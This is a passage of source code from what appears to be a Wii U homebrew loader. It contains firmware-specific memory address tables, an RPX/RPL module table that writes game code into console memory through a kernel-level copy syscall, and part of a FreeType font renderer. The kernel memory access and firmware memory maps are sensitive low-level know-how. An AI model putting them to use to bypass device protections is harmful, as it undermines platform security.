kB (7 MB) // { 0x2E2DCD60, 0x2E2E4D7C } // 32 kB // { 0x2E33F160, 0x2E365AFC } // 154 kB // { 0x2E37AC40, 0x2E39BB3C } // 131 kB // { 0x2E3A6EF0, 0x2E3CA2FC } // 141 kB // { 0x2E3D9EE0, 0x2E400B3C } // 155 kB // { 0x2E43A8F0, 0x2E442BBC } // 32 kB // { 0x2E46EC90, 0x2E48E27C } // 125 kB // { 0x2E497F90, 0x2E4A147C } // 37 kB // { 0x2E4A5B40, 0x2E4C67BC } // 131 kB // { 0x2E4FBEF0, 0x2E52697C } // 170 kB // { 0x2E550750, 0x2E57333C } // 138 kB // { 0x2E573F3C, 0x2FF8F07C } // 226732 kB (26 MB) // { 0x31000000, 0x31E1FFFC } // 614464 kB (14 MB) // { 0x320A5D80, 0x320AEA3C } // 35 kB // { 0x320E8670, 0x3210017C } // 94 kB // { 0x3212609C, 0x3213187C } // 45 kB // { 0x3219DF08, 0x321B72BC } // 100 kB // { 0x3300ED34, 0x3301AD3C } // 48 kB // { 0x33041760, 0x33049D0C } // 33 kB // { 0x330608F8, 0x3306C97C } // 48 kB // { 0x33089D80, 0x33095284 } // 45 kB // { 0x33095470, 0x330A1324 } // 47 kB // { 0x330A1358, 0x330ADC10 } // 50 kB // { 0x330C9040, 0x330D0ABC } // 30 kB // { 0x330D0AD8, 0x3311F9CC } // 315 kB // { 0x3312575C, 0x3320A63C } // 915 kB // { 0x33234D00, 0x3324B33C } // 89 kB // { 0x3324E300, 0x3328D7BC } // 253 kB // { 0x3329D134, 0x332CA324 } // 180 kB // { 0x3332B200, 0x33340C88 } // 86 kB // { 0x3335A440, 0x335021FC } // 1695 kB (1 MB) // { 0x3350A778, 0x3391680C } // 4144 kB (4 MB) // { 0x3391A444, 0x3392A25C } // 63 kB // { 0x3392A444, 0x33939EB4 } // 62 kB // { 0x3393A444, 0x3394A25C } // 63 kB // { 0x339587C0, 0x33976C80 } // 121 kB // { 0x339779C8, 0x3398E320 } // 90 kB // { 0x3399AE74, 0x339A7D80 } // 51 kB // { 0x339AB1C0, 0x339CE3A0 } // 140 kB // { 0x339CEB28, 0x339DEC38 } // 64 kB // { 0x339DEC40, 0x339ED000 } // 56 kB // { 0x339F1BA4, 0x33A09280 } // 93 kB // { 0x33A0C6E4, 0x33A15C40 } // 37 kB // { 0x33A15D64, 0x33EBFFFC } // 4776 kB (4 MB) // { 0x33F01380, 0x33F21FFC } // 131 kB // { 0x33F44820, 0x33F6B1BC } // 154 kB // { 0x33F80300, 0x33FA11FC } // 131 kB // { 0x33FA4D3C, 0x33FEDAFC } // 291 kB // { 0x33FFFFD4, 0x38FFFFFC } // 81920 kB (80 MB) {0, 0} }; static const memory_values_t mem_vals_500[] = { { 0x2E605CBC, 0x2FF849BC }, // size 26733828 (26107 kB) (25 MB) { 0x2CAE7878, 0x2D207DB4 }, // size 7472448 (7297 kB) (7 MB) { 0x2D3B966C, 0x2D8943C0 }, // size 5090648 (4971 kB) (4 MB) { 0x2D8AD3D8, 0x2DFFFFFC }, // size 7679016 (7499 kB) (7 MB) // TODO: Check which of those areas are usable // { 0x283A73DC, 0x284D2AE4 } // size 1226508 (1197 kB) (1 MB) // { 0x29030800, 0x293F69FC } // size 3957248 (3864 kB) (3 MB) // { 0x2970200C, 0x298B9C54 } // size 1801292 (1759 kB) (1 MB) // { 0x2A057B68, 0x2A1B9578 } // size 1448468 (1414 kB) (1 MB) // { 0x29030800, 0x293F69FC } // size 3957248 (3864 kB) (3 MB) // { 0x2970200C, 0x298B9C54 } // size 1801292 (1759 kB) (1 MB) // { 0x2A057B68, 0x2A1B9578 } // size 1448468 (1414 kB) (1 MB) // { 0x288EEC30, 0x28B06E94 } // size 2196072 (2144 kB) (2 MB) // { 0x283A73DC, 0x284D2AE4 } // size 1226508 (1197 kB) (1 MB) // { 0x3335A4C0, 0x335021FC } // size 1736000 (1695 kB) (1 MB) // { 0x3350C1D4, 0x339182CC } // size 4243708 (4144 kB) (4 MB) // { 0x33A14094, 0x33EBFFFC } // size 4898668 (4783 kB) (4 MB) // { 0x33FFFFD4, 0x38FFFFFC } // size 83886124 (81920 kB) (80 MB) {0, 0} }; static const memory_values_t mem_vals_532[] = { // TODO: Check which of those areas are usable // {0x28000000 + 0x000DCC9C, 0x28000000 + 0x00174F80}, // 608 kB // {0x28000000 + 0x00180B60, 0x28000000 + 0x001C0A00}, // 255 kB // {0x28000000 + 0x001ECE9C, 0x28000000 + 0x00208CC0}, // 111 kB // {0x28000000 + 0x00234180, 0x28000000 + 0x0024B444}, // 92 kB // {0x28000000 + 0x0024D8C0, 0x28000000 + 0x0028D884}, // 255 kB // {0x28000000 + 0x003A745C, 0x28000000 + 0x004D2B68}, // 1197 kB // {0x28000000 + 0x004D77B0, 0x28000000 + 0x00502200}, // 170 kB // {0x28000000 + 0x005B3A88, 0x28000000 + 0x005C6870}, // 75 kB // {0x28000000 + 0x0061F3E4, 0x28000000 + 0x00632B04}, // 77 kB // {0x28000000 + 0x00639790, 0x28000000 + 0x00649BC4}, // 65 kB // {0x28000000 + 0x00691490, 0x28000000 + 0x006B3CA4}, // 138 kB // {0x28000000 + 0x006D7BCC, 0x28000000 + 0x006EEB84}, // 91 kB // {0x28000000 + 0x00704E44, 0x28000000 + 0x0071E3C4}, // 101 kB // {0x28000000 + 0x0073B684, 0x28000000 + 0x0074C184}, // 66 kB // {0x28000000 + 0x00751354, 0x28000000 + 0x00769784}, // 97 kB // {0x28000000 + 0x008627DC, 0x28000000 + 0x00872904}, // 64 kB // {0x28000000 + 0x008C1E98, 0x28000000 + 0x008EB0A0}, // 164 kB // {0x28000000 + 0x008EEC30, 0x28000000 + 0x00B06E98}, // 2144 kB // {0x28000000 + 0x00B06EC4, 0x28000000 + 0x00B930C4}, // 560 kB // {0x28000000 + 0x00BA1868, 0x28000000 + 0x00BC22A4}, // 130 kB // {0x28000000 + 0x00BC48F8, 0x28000000 + 0x00BDEC84}, // 104 kB // {0x28000000 + 0x00BE3DC0, 0x28000000 + 0x00C02284}, // 121 kB // {0x28000000 + 0x00C02FC8, 0x28000000 + 0x00C19924}, // 90 kB // {0x28000000 + 0x00C2D35C, 0x28000000 + 0x00C3DDC4}, // 66 kB // {0x28000000 + 0x00C48654, 0x28000000 + 0x00C6E2E4}, // 151 kB // {0x28000000 + 0x00D04E04, 0x28000000 + 0x00D36938}, // 198 kB // {0x28000000 + 0x00DC88AC, 0x28000000 + 0x00E14288}, // 302 kB // {0x28000000 + 0x00E21ED4, 0x28000000 + 0x00EC8298}, // 664 kB // {0x28000000 + 0x00EDDC7C, 0x28000000 + 0x00F7C2A8}, // 633 kB // {0x28000000 + 0x00F89EF4, 0x28000000 + 0x010302B8}, // 664 kB // {0x28000000 + 0x01030800, 0x28000000 + 0x013F69A0}, // 3864 kB // {0x28000000 + 0x016CE000, 0x28000000 + 0x016E0AA0}, // 74 kB // {0x28000000 + 0x0170200C, 0x28000000 + 0x018B9C58}, // 1759 kB // {0x28000000 + 0x01F17658, 0x28000000 + 0x01F6765C}, // 320 kB // {0x28000000 + 0x01F6779C, 0x28000000 + 0x01FB77A0}, // 320 kB // {0x28000000 + 0x01FB78E0, 0x28000000 + 0x020078E4}, // 320 kB // {0x28000000 + 0x02007A24, 0x28000000 + 0x02057A28}, // 320 kB // {0x28000000 + 0x02057B68, 0x28000000 + 0x021B957C}, // 1414 kB // {0x28000000 + 0x02891528, 0x28000000 + 0x028C8A28}, // 221 kB // {0x28000000 + 0x02BBCC4C, 0x28000000 + 0x02CB958C}, // 1010 kB // {0x28000000 + 0x0378D45C, 0x28000000 + 0x03855464}, // 800 kB // {0x28000000 + 0x0387800C, 0x28000000 + 0x03944938}, // 818 kB // {0x28000000 + 0x03944A08, 0x28000000 + 0x03956E0C}, // 73 kB // {0x28000000 + 0x04A944A4, 0x28000000 + 0x04ABAAC0}, // 153 kB // {0x28000000 + 0x04ADE370, 0x28000000 + 0x0520EAB8}, // 7361 kB // ok // {0x28000000 + 0x053B966C, 0x28000000 + 0x058943C4}, // 4971 kB // ok // {0x28000000 + 0x058AD3D8, 0x28000000 + 0x06000000}, // 7499 kB // {0x28000000 + 0x0638D320, 0x28000000 + 0x063B0280}, // 139 kB // {0x28000000 + 0x063C39E0, 0x28000000 + 0x063E62C0}, // 138 kB // {0x28000000 + 0x063F52A0, 0x28000000 + 0x06414A80}, // 125 kB // {0x28000000 + 0x06422810, 0x28000000 + 0x0644B2C0}, // 162 kB // {0x28000000 + 0x064E48D0, 0x28000000 + 0x06503EC0}, // 125 kB // {0x28000000 + 0x0650E360, 0x28000000 + 0x06537080}, // 163 kB // {0x28000000 + 0x0653A460, 0x28000000 + 0x0655C300}, // 135 kB // {0x28000000 + 0x0658AA40, 0x28000000 + 0x065BC4C0}, // 198 kB // ok // {0x28000000 + 0x065E51A0, 0x28000000 + 0x06608E80}, // 143 kB // ok // {0x28000000 + 0x06609ABC, 0x28000000 + 0x07F82C00}, // 26084 kB // ok // {0x30000000 + 0x000DCC9C, 0x30000000 + 0x00180A00}, // 655 kB // {0x30000000 + 0x00180B60, 0x30000000 + 0x001C0A00}, // 255 kB // {0x30000000 + 0x001F5EF0, 0x30000000 + 0x00208CC0}, // 75 kB // {0x30000000 + 0x00234180, 0x30000000 + 0x0024B444}, // 92 kB // {0x30000000 + 0x0024D8C0, 0x30000000 + 0x0028D884}, // 255 kB // {0x30000000 + 0x003A745C, 0x30000000 + 0x004D2B68}, // 1197 kB // {0x30000000 + 0x006D3334, 0x30000000 + 0x00772204}, // 635 kB // {0x30000000 + 0x00789C60, 0x30000000 + 0x007C6000}, // 240 kB // {0x30000000 + 0x00800000, 0x30000000 + 0x01E20000}, // 22876 kB // ok { 0x2E609ABC, 0x2FF82C00 }, // 26084 kB { 0x29030800, 0x293F69A0 }, // 3864 kB { 0x288EEC30, 0x28B06E98 }, // 2144 kB { 0x2D3B966C, 0x2D8943C4 }, // 4971 kB { 0x2CAE0370, 0x2D20EAB8 }, // 7361 kB { 0x2D8AD3D8, 0x2E000000 }, // 7499 kB {0, 0} }; // total : 66mB + 25mB static const memory_values_t mem_vals_540[] = { { 0x2E609EFC, 0x2FF82000 }, // 26083 kB { 0x29030800, 0x293F6000 }, // 3864 kB { 0x288EEC30, 0x28B06800 }, // 2144 kB { 0x2D3B966C, 0x2D894000 }, // 4971 kB { 0x2CB56370, 0x2D1EF000 }, // 6756 kB { 0x2D8AD3D8, 0x2E000000 }, // 7499 kB { 0x2970200C, 0x298B9800 }, // 1759 kB { 0x2A057B68, 0x2A1B9000 }, // 1414 kB { 0x2ABBCC4C, 0x2ACB9000 }, // 1010 kB {0, 0} }; //! retain container for our memory area table data static unsigned char ucMemAreaTableBuffer[0xff]; s_mem_area * memoryGetAreaTable(void) { return (s_mem_area *) (ucMemAreaTableBuffer); } static inline void memoryAddArea(int start, int end, int cur_index) { // Create and copy new memory area s_mem_area * mem_area = memoryGetAreaTable(); mem_area[cur_index].address = start; mem_area[cur_index].size = end - start; mem_area[cur_index].next = 0; // Fill pointer to this area in the previous area if (cur_index > 0) { mem_area[cur_index - 1].next = &mem_area[cur_index]; } } /* Create memory areas arrays */ void memoryInitAreaTable() { u32 ApplicationMemoryEnd; asm volatile("lis %0, __CODE_END@h; ori %0, %0, __CODE_END@l" : "=r" (ApplicationMemoryEnd)); // This one seems to be available on every firmware and therefore its our code area but also our main RPX area behind our code // 22876 kB - our application // ok if(OS_FIRMWARE <= 400) { memoryAddArea(ApplicationMemoryEnd + 0x4B000000, 0x4B000000 + 0x01E20000, 0); } else { memoryAddArea(ApplicationMemoryEnd + 0x30000000, 0x30000000 + 0x01E20000, 0); } const memory_values_t * mem_vals = NULL; switch(OS_FIRMWARE) { case 400: { mem_vals = mem_vals_400; break; } case 500: { mem_vals = mem_vals_500; break; } case 532: { mem_vals = mem_vals_532; break; } case 540: case 550: { mem_vals = mem_vals_540; break; } default: return; // no known values } // Fill entries int i = 0; while (mem_vals[i].start_address) { memoryAddArea(mem_vals[i].start_address, mem_vals[i].end_address, i + 1); i++; } } ================================================ FILE: src/game/memory_area_table.h ================================================ /**************************************************************************** * Copyright (C) 2015 Dimok * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see . ****************************************************************************/ #ifndef _MEMORY_AREA_TABLE_H_ #define _MEMORY_AREA_TABLE_H_ #ifdef __cplusplus extern "C" { #endif /* Struct used to organize empty memory areas */ typedef struct _s_mem_area { unsigned int address; unsigned int size; struct _s_mem_area* next; } s_mem_area; void memoryInitAreaTable(); s_mem_area * memoryGetAreaTable(void); #ifdef __cplusplus } #endif #endif // _MEMORY_AREA_TABLE_H_ ================================================ FILE: src/game/rpx_rpl_table.c ================================================ #include #include "rpx_rpl_table.h" #include "kernel/kernel_functions.h" #include "common/common.h" #include "utils/logger.h" //! static container holding our retain data static unsigned char ucRpxData[0xffff]; void rpxRplTableInit(void) { s_rpx_rpl *pRpxData = (s_rpx_rpl*)ucRpxData; //! initialize the RPL/RPX table first entry to zero + 1 byte for name zero termination //! just in case no RPL/RPX are found, though it wont boot then anyway memset(pRpxData, 0, sizeof(s_rpx_rpl) + 1); } s_rpx_rpl * rpxRplTableAddEntry(const char *name, int offset, int size, int is_rpx, int entry_index, s_mem_area* area) { // fill rpx/rpl entry s_rpx_rpl * rpx_rpl_data = (s_rpx_rpl *)(ucRpxData); // get to last entry while(rpx_rpl_data->next) { rpx_rpl_data = rpx_rpl_data->next; } // setup next entry on the previous one (only if it is not the first entry) if(entry_index > 0) { rpx_rpl_data->next = (s_rpx_rpl *)( ((u32)rpx_rpl_data) + sizeof(s_rpx_rpl) + strlen(rpx_rpl_data->name) + 1 ); rpx_rpl_data = rpx_rpl_data->next; } // setup current entry rpx_rpl_data->area = area; rpx_rpl_data->size = size; rpx_rpl_data->offset = offset; rpx_rpl_data->is_rpx = is_rpx; rpx_rpl_data->next = 0; strcpy(rpx_rpl_data->name, name); log_printf("%s: loaded into 0x%08X, offset: 0x%08X, size: 0x%08X\n", name, area->address, offset, size); return rpx_rpl_data; } s_rpx_rpl* rpxRplTableGet(void) { return (s_rpx_rpl*)ucRpxData; } s_mem_area *rpxRplTableGetNextFreeMemArea(u32 * mem_area_addr_start, u32 * mem_area_addr_end, u32 * mem_area_offset) { s_mem_area * mem_area = memoryGetAreaTable(); s_rpx_rpl *rpl_struct = rpxRplTableGet(); while(rpl_struct != 0) { // check if this entry was loaded into memory if(rpl_struct->size == 0) { // see if we find entries behind this one that was pre-loaded rpl_struct = rpl_struct->next; // entry was not loaded into memory -> skip it continue; } // this entry has been loaded to memory, remember it's area mem_area = rpl_struct->area; int rpl_size = rpl_struct->size; int rpl_offset = rpl_struct->offset; // find the end of the entry and switch between areas if needed while(mem_area && (u32)(rpl_offset + rpl_size) >= mem_area->size) { rpl_size -= mem_area->size - rpl_offset; rpl_offset = 0; mem_area = mem_area->next; } if(!mem_area) return NULL; // set new start, end and memory area offset *mem_area_addr_start = mem_area->address; *mem_area_addr_end = mem_area->address + mem_area->size; *mem_area_offset = rpl_offset + rpl_size; // see if we find entries behind this one that was pre-loaded rpl_struct = rpl_struct->next; } return mem_area; } int rpxRplCopyDataToMem(s_rpx_rpl *rpx_rpl_struct, u32 fileOffset, const u8 *data, u32 dataSize) { s_mem_area *mem_area = rpx_rpl_struct->area; u32 mem_area_addr_start = mem_area->address; u32 mem_area_addr_end = mem_area_addr_start + mem_area->size; u32 mem_area_offset = rpx_rpl_struct->offset; // add to offset mem_area_offset += fileOffset; // skip position to the end of the fill while ((mem_area_addr_start + mem_area_offset) >= mem_area_addr_end) // TODO: maybe >, not >= { // subtract what was in the offset left from last memory block mem_area_offset = (mem_area_addr_start + mem_area_offset) - mem_area_addr_end; mem_area = mem_area->next; if(!mem_area) return 0; mem_area_addr_start = mem_area->address; mem_area_addr_end = mem_area_addr_start + mem_area->size; } // copy to memory u32 copiedBytes = 0; while(copiedBytes < dataSize) { u32 blockSize = dataSize - copiedBytes; u32 mem_area_addr_dest = mem_area_addr_start + mem_area_offset; if((mem_area_addr_dest + blockSize) > mem_area_addr_end) blockSize = mem_area_addr_end - mem_area_addr_dest; if(blockSize == 0) { // Set next memory area mem_area = mem_area->next; if(!mem_area) return 0; mem_area_addr_start = mem_area->address; mem_area_addr_end = mem_area->address + mem_area->size; mem_area_offset = 0; continue; } SC0x25_KernelCopyData(mem_area_addr_dest, (u32)&data[copiedBytes], blockSize); mem_area_offset += blockSize; copiedBytes += blockSize; } return copiedBytes; } int rpxRplCopyDataFromMem(s_rpx_rpl *rpx_rpl_struct, u32 fileOffset, u8 *data, u32 dataSize) { s_mem_area *mem_area = rpx_rpl_struct->area; u32 mem_area_addr_start = mem_area->address; u32 mem_area_addr_end = mem_area_addr_start + mem_area->size; u32 mem_area_offset = rpx_rpl_struct->offset; if(fileOffset > rpx_rpl_struct->size) return 0; if((fileOffset + dataSize) > rpx_rpl_struct->size) dataSize = rpx_rpl_struct->size - fileOffset; // add to offset mem_area_offset += fileOffset; // skip position to the end of the fill while ((mem_area_addr_start + mem_area_offset) >= mem_area_addr_end) // TODO: maybe >, not >= { // subtract what was in the offset left from last memory block mem_area_offset = (mem_area_addr_start + mem_area_offset) - mem_area_addr_end; mem_area = mem_area->next; if(!mem_area) return 0; mem_area_addr_start = mem_area->address; mem_area_addr_end = mem_area_addr_start + mem_area->size; } // copy to memory u32 copiedBytes = 0; while(copiedBytes < dataSize) { u32 blockSize = dataSize - copiedBytes; u32 mem_area_addr_dest = mem_area_addr_start + mem_area_offset; if((mem_area_addr_dest + blockSize) > mem_area_addr_end) blockSize = mem_area_addr_end - mem_area_addr_dest; if(blockSize == 0) { // Set next memory area mem_area = mem_area->next; if(!mem_area) return 0; mem_area_addr_start = mem_area->address; mem_area_addr_end = mem_area->address + mem_area->size; mem_area_offset = 0; continue; } SC0x25_KernelCopyData((u32)&data[copiedBytes], mem_area_addr_dest, blockSize); mem_area_offset += blockSize; copiedBytes += blockSize; } return copiedBytes; } ================================================ FILE: src/game/rpx_rpl_table.h ================================================ #ifndef __RPX_ARRAY_H_ #define __RPX_ARRAY_H_ #ifdef __cplusplus extern "C" { #endif #include #include "common/common.h" #include "memory_area_table.h" /* Struct used to organize rpx/rpl data in memory */ typedef struct _s_rpx_rpl { struct _s_rpx_rpl* next; s_mem_area* area; unsigned int offset; unsigned int size; unsigned char is_rpx; char name[0]; } s_rpx_rpl; void rpxRplTableInit(void); s_rpx_rpl* rpxRplTableAddEntry(const char *name, int offset, int size, int is_rpx, int entry_index, s_mem_area* area); s_rpx_rpl* rpxRplTableGet(void); s_mem_area *rpxRplTableGetNextFreeMemArea(u32 * mem_area_addr_start, u32 * mem_area_addr_end, u32 * mem_area_offset); int rpxRplCopyDataToMem(s_rpx_rpl *rpx_rpl_struct, u32 fileOffset, const u8 *data, u32 dataSize); int rpxRplCopyDataFromMem(s_rpx_rpl *rpx_rpl_struct, u32 fileOffset, u8 *data, u32 dataSize); #ifdef __cplusplus } #endif #endif ================================================ FILE: src/gitrev.h ================================================ #ifndef __GITREV_H_ #define __GITREV_H_ #ifdef __cplusplus extern "C" { #endif const char *GetRev(); #ifdef __cplusplus } #endif #endif // __GITREV_H_ ================================================ FILE: src/gui/FreeTypeGX.cpp ================================================ /* * FreeTypeGX is a wrapper class for libFreeType which renders a compiled * FreeType parsable font so a GX texture for Wii homebrew development. * Copyright (C) 2008 Armin Tamzarian * Modified by Dimok, 2015 for WiiU GX2 * * This file is part of FreeTypeGX. * * FreeTypeGX is free software: you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License as published * by the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * FreeTypeGX is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with FreeTypeGX. If not, see . */ #include "FreeTypeGX.h" #include "video/CVideo.h" #include "video/shaders/Texture2DShader.h" #include "utils/logger.h" using namespace std; #define ALIGN4(x) (((x) + 3) & ~3) /** * Default constructor for the FreeTypeGX class for WiiXplorer. */ FreeTypeGX::FreeTypeGX(const uint8_t* fontBuffer, FT_Long bufferSize, bool lastFace) { int32_t faceIndex = 0; ftPointSize = 0; GX2InitSampler(&ftSampler, GX2_TEX_CLAMP_CLAMP_BORDER, GX2_TEX_XY_FILTER_BILINEAR); FT_Init_FreeType(&ftLibrary); if(lastFace) { FT_New_Memory_Face(ftLibrary, (FT_Byte *)fontBuffer, bufferSize, -1, &ftFace); faceIndex = ftFace->num_faces - 1; // Use the last face FT_Done_Face(ftFace); ftFace = NULL; } FT_New_Memory_Face(ftLibrary, (FT_Byte *) fontBuffer, bufferSize, faceIndex, &ftFace); ftKerningEnabled = FT_HAS_KERNING(ftFace); } /** * Default destructor for the FreeTypeGX class. */ FreeTypeGX::~FreeTypeGX() { unloadFont(); FT_Done_Face(ftFace); FT_Done_FreeType(ftLibrary); } /** * Convert a short char string to a wide char string. * * This routine converts a supplied short character string into a wide character string. * Note that it is the user's responsibility to clear the returned buffer once it is no longer needed. * * @param strChar Character string to be converted. * @return Wide character representation of supplied character string. */ wchar_t* FreeTypeGX::charToWideChar(const char* strChar) { if (!strChar) return NULL; wchar_t *strWChar = new (std::nothrow) wchar_t[strlen(strChar) + 1]; if (!strWChar) return NULL; int32_t bt = mbstowcs(strWChar, strChar, strlen(strChar)); if (bt > 0) { strWChar[bt] = 0; return strWChar; } wchar_t *tempDest = strWChar; while ((*tempDest++ = *strChar++)) ; return strWChar; } char *FreeTypeGX::wideCharToUTF8(const wchar_t* strChar) { if(!strChar) { return NULL; } size_t len = 0; wchar_t wc; for (size_t i = 0; strChar[i]; ++i) { wc = strChar[i]; if (wc < 0x80) ++len; else if (wc < 0x800) len += 2; else if (wc < 0x10000) len += 3; else len += 4; } char *pOut = new (std::nothrow) char[len]; if(!pOut) return NULL; size_t n = 0; for (size_t i = 0; strChar[i]; ++i) { wc = strChar[i]; if (wc < 0x80) pOut[n++] = (char)wc; else if (wc < 0x800) { pOut[n++] = (char)((wc >> 6) | 0xC0); pOut[n++] = (char)((wc & 0x3F) | 0x80); } else if (wc < 0x10000) { pOut[n++] = (char)((wc >> 12) | 0xE0); pOut[n++] = (char)(((wc >> 6) & 0x3F) | 0x80); pOut[n++] = (char)((wc & 0x3F) | 0x80); } else { pOut[n++] = (char)(((wc >> 18) & 0x07) | 0xF0); pOut[n++] = (char)(((wc >> 12) & 0x3F) | 0x80); pOut[n++] = (char)(((wc >> 6) & 0x3F) | 0x80); pOut[n++] = (char)((wc & 0x3F) | 0x80); } } return pOut; } /** * Clears all loaded font glyph data. * * This routine clears all members of the font map structure and frees all allocated memory back to the system. */ void FreeTypeGX::unloadFont() { map::iterator itr; map::iterator itr2; for (itr = fontData.begin(); itr != fontData.end(); itr++) { for (itr2 = itr->second.ftgxCharMap.begin(); itr2 != itr->second.ftgxCharMap.end(); itr2++) { if(itr2->second.texture) { if(itr2->second.texture->surface.image_data) free(itr2->second.texture->surface.image_data); delete itr2->second.texture; itr2->second.texture = NULL; } } } fontData.clear(); } /** * Caches the given font glyph in the instance font texture buffer. * * This routine renders and stores the requested glyph's bitmap and relevant information into its own quickly addressible * structure within an instance-specific map. * * @param charCode The requested glyph's character code. * @return A pointer to the allocated font structure. */ ftgxCharData * FreeTypeGX::cacheGlyphData(wchar_t charCode, int16_t pixelSize) { map::iterator itr = fontData.find(pixelSize); if (itr != fontData.end()) { map::iterator itr2 = itr->second.ftgxCharMap.find(charCode); if (itr2 != itr->second.ftgxCharMap.end()) { return &itr2->second; } } //!Cache ascender and decender as well ftGX2Data *ftData = &fontData[pixelSize]; FT_UInt gIndex; uint16_t textureWidth = 0, textureHeight = 0; if (ftPointSize != pixelSize) { ftPointSize = pixelSize; FT_Set_Pixel_Sizes(ftFace, 0, ftPointSize); ftData->ftgxAlign.ascender = (int16_t) ftFace->size->metrics.ascender >> 6; ftData->ftgxAlign.descender = (int16_t) ftFace->size->metrics.descender >> 6; ftData->ftgxAlign.max = 0; ftData->ftgxAlign.min = 0; } gIndex = FT_Get_Char_Index(ftFace, (FT_ULong) charCode); if (gIndex != 0 && FT_Load_Glyph(ftFace, gIndex, FT_LOAD_DEFAULT | FT_LOAD_RENDER) == 0) { if (ftFace->glyph->format == FT_GLYPH_FORMAT_BITMAP) { FT_Bitmap *glyphBitmap = &ftFace->glyph->bitmap; textureWidth = ALIGN4(glyphBitmap->width); textureHeight = ALIGN4(glyphBitmap->rows); if(textureWidth == 0) textureWidth = 4; if(textureHeight == 0) textureHeight = 4; ftgxCharData *charData = &ftData->ftgxCharMap[charCode]; charData->renderOffsetX = (int16_t) ftFace->glyph->bitmap_left; charData->glyphAdvanceX = (uint16_t) (ftFace->glyph->advance.x >> 6); charData->glyphAdvanceY = (uint16_t) (ftFace->glyph->advance.y >> 6); charData->glyphIndex = (uint32_t) gIndex; charData->renderOffsetY = (int16_t) ftFace->glyph->bitmap_top; charData->renderOffsetMax = (int16_t) ftFace->glyph->bitmap_top; charData->renderOffsetMin = (int16_t) glyphBitmap->rows - ftFace->glyph->bitmap_top; //! Initialize texture charData->texture = new GX2Texture; GX2InitTexture(charData->texture, textureWidth, textureHeight, 1, 0, GX2_SURFACE_FORMAT_TC_R5_G5_B5_A1_UNORM, GX2_SURFACE_DIM_2D, GX2_TILE_MODE_LINEAR_ALIGNED); loadGlyphData(glyphBitmap, charData); return charData; } } return NULL; } /** * Locates each character in this wrapper's configured font face and proccess them. * * This routine locates each character in the configured font face and renders the glyph's bitmap. * Each bitmap and relevant information is loaded into its own quickly addressible structure within an instance-specific map. */ uint16_t FreeTypeGX::cacheGlyphDataComplete(int16_t pixelSize) { uint32_t i = 0; FT_UInt gIndex; FT_ULong charCode = FT_Get_First_Char(ftFace, &gIndex); while (gIndex != 0) { if (cacheGlyphData(charCode, pixelSize) != NULL) ++i; charCode = FT_Get_Next_Char(ftFace, charCode, &gIndex); } return (uint16_t) (i); } /** * Loads the rendered bitmap into the relevant structure's data buffer. * * This routine does a simple byte-wise copy of the glyph's rendered 8-bit grayscale bitmap into the structure's buffer. * Each byte is converted from the bitmap's intensity value into the a uint32_t RGBA value. * * @param bmp A pointer to the most recently rendered glyph's bitmap. * @param charData A pointer to an allocated ftgxCharData structure whose data represent that of the last rendered glyph. */ void FreeTypeGX::loadGlyphData(FT_Bitmap *bmp, ftgxCharData *charData) { charData->texture->surface.image_data = (uint8_t *) memalign(charData->texture->surface.align, charData->texture->surface.image_size); if(!charData->texture->surface.image_data) return; memset(charData->texture->surface.image_data, 0x00, charData->texture->surface.image_size); uint8_t *src = (uint8_t *)bmp->buffer; uint16_t *dst = (uint16_t *)charData->texture->surface.image_data; int32_t x, y; for(y = 0; y < bmp->rows; y++) { for(x = 0; x < bmp->width; x++) { uint8_t intensity = src[y * bmp->width + x] >> 3; dst[y * charData->texture->surface.pitch + x] = intensity ? ((intensity << 11) | (intensity << 6) | (intensity << 1) | 1) : 0; } } GX2Invalidate(GX2_INVALIDATE_CPU_TEXTURE, charData->texture->surface.image_data, charData->texture->surface.image_size); } /** * Determines the x offset of the rendered string. * * This routine calculates the x offset of the rendered string based off of a supplied positional format parameter. * * @param width Current pixel width of the string. * @param format Positional format of the string. */ int16_t FreeTypeGX::getStyleOffsetWidth(uint16_t width, uint16_t format) { if (format & FTGX_JUSTIFY_LEFT) return 0; else if (format & FTGX_JUSTIFY_CENTER) return -(width >> 1); else if (format & FTGX_JUSTIFY_RIGHT) return -width; return 0; } /** * Determines the y offset of the rendered string. * * This routine calculates the y offset of the rendered string based off of a supplied positional format parameter. * * @param offset Current pixel offset data of the string. * @param format Positional format of the string. */ int16_t FreeTypeGX::getStyleOffsetHeight(int16_t format, uint16_t pixelSize) { std::map::iterator itr = fontData.find(pixelSize); if (itr == fontData.end()) return 0; switch (format & FTGX_ALIGN_MASK) { case FTGX_ALIGN_TOP: return itr->second.ftgxAlign.descender; case FTGX_ALIGN_MIDDLE: default: return (itr->second.ftgxAlign.ascender + itr->second.ftgxAlign.descender + 1) >> 1; case FTGX_ALIGN_BOTTOM: return itr->second.ftgxAlign.ascender; case FTGX_ALIGN_BASELINE: return 0; case FTGX_ALIGN_GLYPH_TOP: return itr->second.ftgxAlign.max; case FTGX_ALIGN_GLYPH_MIDDLE: return (itr->second.ftgxAlign.max + itr->second.ftgxAlign.min + 1) >> 1; case FTGX_ALIGN_GLYPH_BOTTOM: return itr->second.ftgxAlign.min; } return 0; } /** * Processes the supplied text string and prints the results at the specified coordinates. * * This routine processes each character of the supplied text string, loads the relevant preprocessed bitmap buffer, * a texture from said buffer, and loads the resultant texture into the EFB. * * @param x Screen X coordinate at which to output the text. * @param y Screen Y coordinate at which to output the text. Note that this value corresponds to the text string origin and not the top or bottom of the glyphs. * @param text NULL terminated string to output. * @param color Optional color to apply to the text characters. If not specified default value is ftgxWhite: (GXColor){0xff, 0xff, 0xff, 0xff} * @param textStyle Flags which specify any styling which should be applied to the rendered string. * @return The number of characters printed. */ uint16_t FreeTypeGX::drawText(CVideo *video, int16_t x, int16_t y, int16_t z, const wchar_t *text, int16_t pixelSize, const glm::vec4 & color, uint16_t textStyle, uint16_t textWidth, const float &textBlur, const float & colorBlurIntensity, const glm::vec4 & blurColor, const float & internalRenderingScale) { if 